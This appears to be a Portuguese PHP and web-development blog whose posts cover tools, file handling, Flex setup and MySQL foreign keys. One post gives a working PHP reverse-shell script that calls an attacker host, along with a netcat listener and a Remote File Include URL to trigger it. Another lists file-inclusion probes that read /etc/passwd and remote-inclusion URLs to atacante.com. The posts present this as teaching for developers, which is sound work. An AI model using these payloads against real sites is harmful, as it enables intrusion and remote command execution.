DebugBar - O amigo do FireBug para IE

Depois de alguns "dias" sem postar, vou dar a dica de uma excelente ferramenta que pode ajudar na ausência de um Firefox com FireBug. Trata-se da extensão DebugBar para Internet Explorer.

Basicamente tem as mesmas features do Firebug como: DOM Inspector, JavaScript Inspector, Visualização do tráfego HTTP (muito útil quando se utiliza Ajax no desenvolvimento).

O DebugBar funciona no Windows 98, ME, 2000, XP, 2003 e Vista e é compatível com InternetExplorer 5, 5.5, 6, 7 e 8 beta 2.

Gostei muito da forma como ele fica posicionado na tela do lado esquerdo. O espaço fica muito bem dividido e fácil de utilizar.

Um ponto positivo dele sobre o FireBug é o histórico das requisições HTTP que ficam em formato de árvore e não simplesmente listados como no FireBug.

Vale a pena instalar: http://www.debugbar.com/

Shell Reverso em PHP

Continuando mais um tópico relacionado a segurança em aplicativos web, irei demonstrar como um possível atacante pode conseguir acesso de shell no servidor mesmo que tenha um firewall bloqueando conexões de entrada. Utilizando apenas um script php de 10 linhas e o poderoso netcat encontrado na maioria das distribuições gnu/linux.

Para que haja sucesso na exploração da falha, a aplicação deve estar vulnerável a "Remote File Include". Essa falha normalmente é encontrada quando se vê alguma URL do tipo: www.algumsite.com/index.php?pag=ajuda.php. Nesse caso é possível imaginar que o programador recebe o parâmetro pag e utiliza um include para exibir o seu conteúdo. Caso a opção allow_url_fopen do php.ini esteja "on", é possível executar um script php hospedado em outro servidor.

Iremos fazer uma conexão socket partindo do servidor que hospeda a aplicação/site vulnerável com destino a máquina do atacante (www.maquinanetcat.com no nosso exemplo) que está esperando a conexão com netcat. O seguinte script nomeado remote.php será utilizado:

<?php
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($sock, "www.maquinanetcat.com", "30000");
socket_write($sock, "Ok manda bala\n\n", 15);
while ($out = socket_read($sock, 4096)) {
    exec($out, $cmd);
    $cmdresult = implode("\n", $cmd) . "\nphp$ ";
    socket_write($sock, $cmdresult, strlen($cmdresult));
}
socket_close($sock);

Antes de fazer a aplicação vulnerável executar esse script, você deve executar o netcat para ele abrir uma porta e ficar esperando a conexão ser estabelecida:

netcat -l -p 30000 -v

Agora é só fazer a aplicação se conectar fazendo ela executar o script remote.php da seguinte forma:

Abrir no navegador: www.algumsite.com/index.php?pag=http://sitecomscript.com/remote.php

Assim que o navegador chamar a página, o site vulnerável irá chamar o script http://sitecomscript.com/remote.php ao invés do ajuda.php (por exemplo), e ele será executado no server vulnerável. O server que hospeda o script remote.php não deve interpretar php, se não o shell reverso partirá desse server.

Irá aparecer na máquina do atacante a frase "Ok manda bala" indicando que os comandos já podem ser digitados...aí não precisa falar mais nada!

Obs.: Esse post tem o único propósito de exemplificar como aplicações/sites web podem estar vulneráveis a ataques.

Desenvolvimento seguro em PHP - Cuidado com a URL

Irei abordar nesse post um recurso que é muito utilizado em sites e aplicativos web, que é a passagem de parâmetros via GET (na URL).

Sempre vejo em sites esse recurso sendo utilizado de forma incorreta, dando brecha para que usuários com "segundas" intenções ganhem acesso ao servidor.
- Mas como?
Vejamos dois exemplos de URL que podem gerar um problemão:

1. http://sitecombrecha.com/index.php?pagina=home.php
2. http://sitecombrecha.com/login.php?usuario=fulano&senha=abcd1234&perfil=cliente

Na primeira URL o desenvolvedor chama as páginas do site por meio de um include no nome do arquivo que é passado como parâmetro na URL.
Isso possibilita que o atacante consiga visualizar qualquer arquivo do servidor (Desde que o usuário do deamon do web server tenha acesso).
Exemplo para testar a falha:

• http://sitecombrecha.com/index.php?pagina=/etc/fstab
• http://sitecombrecha.com/index.php?pagina=/etc/passwd
• http://sitecombrecha.com/index.php?pagina=/var/log/messages

Se no php.ini a opção allow_url_fopen estiver habilitada, é possível executar arquivos externos da seguinte maneira:

• http://sitecombrecha.com/index.php?pagina=http://atacante.com/destroy.php
• http://sitecombrecha.com/index.php?pagina=ftp://atacante.com/public/destroy.php

O php permite que funções como include, include_once, require, require_once e fopen façam referencias para URL's desde que a opção allow_url_fopen esteja habilitada no php.ini.
Para que o script destroy.php do atacante tenha efeito, o servidor web do atacante não deve interpretar o script php, pois senão o script será executado no servidor do atacante.

Na segunda URL estão sendo passados dados sensíveis para a aplicação, que é o login e senha do usuário. Nesse caso o login e senha do usuário podem ficar gravados no histórico do navegador ou no log do proxy.
Se você fizer um formulário de login em HTML e esquecer de colocar method="post" na tag form ou a escrever errado, por default (w3c) o navegador irá entender method="get", e os dados do login irão passar via GET!!!
Exemplo: Dá uma olhada no histórico do navegador de uma LanHouse, ou dá uma olhada no log do proxy dessa LanHouse. É impressionante a quantidade de sistemas e sites que funcionam dessa forma.
Tabém é possível tentar mudar o parâmetro perfil=cliente para perfil=administrador, quem sabe você não vira adm!.
São pequenas coisas que tornam um sistema vulnerável, e essa foi a minha dica para se pensar mais no que deve ser passado na URL.

Obs.: Esse post foi escrito com o único propósito de exemplificar para desenvolvedores como aplicações podem estar vulneráveis a falhas de segurança.

Segurança em WebApp's

Cada vez mais empresas estão disponibilizando seus sistemas corporativos na Internet, porém muitos ainda não estão preparados no quesito segurança, expondo sistemas com vulnerabilidades de segurança na web.

Para colocar um sistema na internet é preciso antes fazer testes de vulnerabilidade de segurança para se assegurar de que o sistema não será uma porta de entrada para pessoas mal-intencionadas.

Mostro aqui alguma ferramentas que auxiliam na verificação de vulnerabilidades de aplicativos web:

• Grendel-Scan: O Grendel-Scan foi desenvolvido em Java e está preparado para rodar em Windows, Linux e Macintosh. Ele disponibiliza um bom front-end onde é possível fazer várias configurações para adequa-lo ao aplicativo web. Assim como o Burp, Webscarab e Paros ele também funciona como um proxy para interceptação da conexão.
• Burp Suite: O Burp pela descrição do desenvolvedor, é uma plataforma para ataques a aplicativos web. Ele funciona como um proxy onde cada requisição é interceptada e você pode analisar todo o tráfego do protocolo HTTP e alterá-lo antes de enviar a requisição ao servidor da aplicação; facilita muito os testes em aplicações que usam Ajax abusivamente, pois nada irá passar despercebido!
• Tamper Data: O Tamper Data trata-se de um addon para o Firefox que ao ser ativado intercepta todo o tráfego entre a aplicação e o servidor, com a possibilidade de alterar os dados antes de serem enviados.

O site http://sectools.org mantém um Top 100 das ferramentas de segurança de rede, e no endereço http://sectools.org/web-scanners.html, é listado o Top 10 das ferramentas de segurança de aplicativos web.

É importante salientar que as ferrametas apenas auxiliam nos testes, isso quer dizer que o usuário dessas ferramentas deve conhecer as vulnerabilidades e ter um olhar clínico para tal serviço.
t+

Trabalhando com arquivos

Vou demonstrar aqui duas formas muito comuns de manipulação de arquivos em PHP e suas diferenças.

A primeira e mais comum, que o PHP herdou da linguagem C, é através do comando fopen. Onde são passados quatro parâmetros (sendo que o terceiro e o quarto parâmetro quase nunca são utilizados, por isso não irei citá-los): o primeiro parâmetro obrigatório é uma string com o caminho e nome do arquivo que será manipulado, e o segundo é o método de abertura do arquivo, que irá variar de acordo com a funcionalidade do programa que está sendo desenvolvido. A função irá retornar um ponteiro (recurso) para o arquivo que será manipulado, e esse ponteiro será utilizado nas outras funções de manipulação de arquivo.

Exemplo de manipulação com fopen():

<?php
// O símbolo "@" é para suprimir os possíveis erros
$fp = @fopen("arquivo.txt", "r");
// Testa se o arquivo foi aberto corretamente
if (!$fp) {
    echo "Nao foi possivel abrir o arquivo.";
    exit(1);
}
// o função feof irá retornar TRUE quando o ponteiro $fp estiver no final do arquivo
while (!feof($fp)) {
    // A função fgets lê 4096 bytes do ponteiro $fp ou até chegar no final da linha.
    $buffer = fgets($fp, 4096);
    // Imprime na tela o linha
    echo $buffer;
}
// Fecha o ponteiro do arquivo e evita que o mesmo seja corrompido
fclose($fp);

?>


A segunda forma e também a mais fácil é através da função file que recebe como argumento três valores, sendo que os dois últimos são utilizados em casos específicos e por isso não os abordarei aqui. O primeiro argumento passado é o arquivo ou recurso que será aberto. O valor retornado pela função é um array onde cada índice do array é correspondente a uma linha do arquivo.

Exemplo de manipulação com file()

<?php
// a função abre o arquivo e retorna em forma de array
$arquivo_linhas = file("arquivo.txt");
// loop em todas as linhas do arquivo
foreach ($arquivo_linhas as $linha) {
    // Imprime a linha
    echo $linha;
}
?>


Nos dois exemplos o arquivo "arquivo.txt" será aberto, e o seu conteúdo será exibido através do comando echo. A principal diferença entre os dois é que ao abrir o arquivo com o fopen, apenas o valor retornado pela função fgets estará na memória, ou seja, 4096 bytes (4Kb) por iteração do loop; já com a função file a variável $arquivo_linhas terá todo o conteúdo do arquivo, consumindo muito mais memória. Talvez em um arquivo pequeno essa diferença não seja percebida, mas com um arquivo maior a diferença de performance é claramente percebida. É bom lembrar que se o arquivo aberto for muito grande talvez não seja possível ser aberto em virtude da configuração memory_limit do arquivo de configuração do PHP (php.ini).

Cada função tem um propósito diferente, sendo que em alguns casos uma pode ser mais adequada que a outra, a intenção do post foi dar uma explicação genérica utilizando as duas funções e mostrar a principal diferença com relação ao funcionamento de cada uma.

Espero que seja útil!!! t+

Desenvolvendo extensões PHP customizadas

Recentemente eu comecei a estudar o código fonte do PHP simplesmente por curiosidade, e aos poucos fui conhecendo suas estruturas internas e ver como ele funciona por dentro.

Como é difícil encontrar material sobre o assunto eu resolvi colocar alguns links que encontrei na internet sobre o assunto:

1. PHP at the Core: A Hacker's Guide to the Zend Engine - Faz parte da documentação oficial do PHP, abrange o sistema de desenvolvimento do PHP, estrutura de uma extensão, gerenciamento de memória, como trabalhar com variáveis, classes, etc...
   Obs.: Algumas partes da documentação ainda não estão completa.
2. PECL - O PECL é um repositório de extensões PHP desenvolvidas com a ZEND API em conjunto com outras bibliotecas. Nesse site também é possível encontrar links para palestras, artigos de como desenvolver extensões em PHP e também conta com um guia padrão de codificação de extensões.
3. Livro: Extending and Embedding PHP by Sara Golemon - Este livro apesar de ter sido lançado em 2006 já abrange o Zend Engine 2 e o principal foco está no desenvolvimento de extensões e de como embutir o php em outros softwares.

Para quem quiser comprar o livro eu aconselho comprar na Amazon, pois mesmo incluindo o custo de envio, acaba saindo mais barato do que comprar importado no Brasil. Quem me deu essa dica foi o ECL do canal ##PHP-BR da Freenode. (Valew ECL!)

Seja OpenSource mostre seu código

Aqui está um exemplo para você compartilhar seus lindos códigos escritos com toda a dedicação... rsrs

Você pode mostrar o código do php através de duas funcções:

1. highlight_file(arquivo.php)
2. highlight_string('$string_com_codigo_php')

Obs.: Se você quiser mostrar o código da própria página você pode fazer através da constante mágica __file__ (que se refere a ele mesmo (o arquivo)).

Exemplo do código fonte gerado pelo próprio arquivo:

<?php

/* Arquivo de exemplo para mostrar como vc pode mostrar o seu codigo fonte php */

highlight_file(__file__);

/**
* Classe que descreve uma pessoa
*/
final class Pessoa {
    /**
     * Nome da pessoa
     * @access private
     * @var string
     */
    private $nome;
    
    /**
     * Idade da pessoa
     * @access private
     * @var integer
     */
    private $idade;
    
    /**
     * Peso da pessoa (kg)
     * @access private
     * @var float
     */
    private $peso;
    
    /**
     * Construtor - Instancia um novo objeto Pessoa
     * @param array $dados Array associativo com o nome, idade e peso
     */

    public function __construct(array $dados) {
    $this->nome = $dados['nome'];
    $this->idade = $dados['idade'];
    $this->peso = $dados['peso'];    
    }
    
    /**
     * Metodo magico para descrever a pessoa
     * @return string
     */
    public function __toString() {
    $str = "\nNome...: " . $this->nome;
    $str.= "\nIdade..: " . $this->idade;
    $str.= "\nPeso...: " . $this->peso;
    $str.= "\n\n";
    
    return $str;
    }

}


$dadosp1 = array(
    'nome' => 'Erick',
    'idade' => '21',
    'peso' => '67.00'
    );
$p1 = new Pessoa($dadosp1);

echo $p1;


Adobe Flex 2.0.1 no Slackware 12

Recentemente comecei a utilizar o OpenLaszlo para desenvolver interfaces ricas para o sistema do meu cliente. Mas com a notícia de que a Adobe iria disponibilizar a próxima versão do Flex (3.0) como OpenSource, então resolvi utiliza-lo.

O processo de instalação do Flex é muito simples bastando apenas descompacta-lo em um diretório de sua preferência. No caso eu instalei dentro de /usr/local.... vamos lá então

• 1 passo: Crie um diretório chamado flex dentro do seu home:
  

  $mkdir /home/seulogin/flex

• 2 passo: Baixe o Flex 2 SDK (que atualmente é Free) dentro do /home/seulogin/flex.
  Link http://www.adobe.com/products/flex/downloads/
  Aceite as condições de uso clicando no checkbox e o link para o download irá aparecer... é só baixar.
• 3 passo: Descompacte o arquivo baixado com o comando: unzip flex2_sdk_hf1.zip
• 4 passo: Mova o diretório do flex para o /usr/local (como ROOT):
  

  #mv /home/seulogin/flex /usr/local
  

• 5 passo: Agora é só colocar os binários do flex no path (como ROOT). Crie um arquivo dentro do /etc/profile.d com o nome de flex.sh com o seguinte conteúdo:
  

  #!/bin/bash
  PATH=$PATH:/usr/local/flex/bin
  

  Agora dê permissão de execução para o arquivo:

  #chmod 700 /etc/profile.d/flex.sh
  

  E quando você ligar o computador o compilador do flex já estará pronto para uso.

Como visto é simples instalar o flex, bastando apenas descompactar um arquivo e fazer com que os binários estejam no path.

Falows t+

Desenvolvimento Web com o Slackware

Apresentarei aqui o conglomerado de ferramentas e programas que me ajudam trabalhar no meu dia-a-dia.

IDE

Como IDE estou utilizando o Eclipse PDT. Apesar de ser um pouco pesado, eu o utilizo pois consigo estendê-lo com os vários plugins que estão disponíveis para ele.

Os recursos que mais gosto são:

Code Completion: Utilizo o ZendFramewor e ficar lembrando a API inteira de cabeça é meio difícil

Integração com Servidor: É possível cadastrar os servidores que você utiliza (interno ou externo) e 'rodar' o projeto que você está desenvolvendo em qualquer um deles. Com isso ele sobrepõe os arquivos do servidor pelos do projeto. Um exemplo: Abro o programa no servidor local, e quando estiver tudo ok, eu abro o projeto no servidor de produção e o sistema já estará no 'ar'!

Plugins: Utilizo o plugin do Aptana para fazer a parte Webstandard e Javascript.

Abaixo um screenshot dele funcionando:

Edição de Imagens

Para edição de imagens utilizo o Xara Xtreme (vetores) e Gimp (fotos). Ambos são muito práticos e versáteis. São realmente bons substitutos para os já conhecidos CorelDraw e PhotoShop.

Abaixo um screenshot do Xara Xtreme:

Firefox

E como não poderia deixar de ser, o famoso Mozilla Firefox. Uma dica legal para agilizar o desenvolvimento é utilizar as extensões:

• Firebug:Para depurar código JavaScript e navegar no DOM.
• WebDeveloper: Várias verramentas para manipular a página.
• YSlow! Para ajudar resolver problemas de performance na página.

Obs.: Para utilizar o YSlow é necessário instalar o FireBug antes.

Bom é isso aí então, tentei apresentar minha escrivaninha pra vcs. t+

Integridade referencial MySQL

Olá, como faz muito tempo que eu nem dou as caras por aqui e ninguém conhece ainda esse blog (será que um dia conhecerás?), estou colocando um pequeno exemplo de integridade referencial no MySQL 5.

Lembrando que para isso ser possível deve ser usado o tipo de tabela InnoDB. As tabelas do tipo MyISAM não suportam esse recurso.

CREATE TABLE carro (
    id int not null auto_increment,
    marca varchar(25) not null,
    modelo varchar(25) not null,
    ano_fab date not null,
    ano_mod date not null,
    primary key(id)
) engine=InnoDB;

CREATE TABLE carro_acessorios (
    carro_id int not null,
    descricao varchar(150) not null,
    preco decimal(10,2) not null,
    key(carro_id),
    foreign key (carro_id) references carro (id) on delete cascade
) engine=InnoDB;

Nesse exemplo temos a tabela de carros e uma tabela de acessórios que esse carro possui. Se o registro do carro for apagado, os registros de acessórios também serão.

Vamos analisar a linha responsável por isso:

• foreign key (carro_id)...: Aqui está sendo definido qual é o campo da tabela que será referenciado.
• ...references carro (id)...: Aqui está sendo definido que está se referenciando ao campo 'id' da tabela carro.
• ...on delete cascade: E por fim se o campo no qual ele está fazendo referência for apagado, ele é apagado também.

Bom por enquanto é isso, conforme for eu vou colocando mais uns negócios aí! rsrs
Para maiores informações sobre integridade referencial no MySQL acesse: http://dev.mysql.com/doc/refman/5.0/en/innodb-foreign-key-constraints.html

t+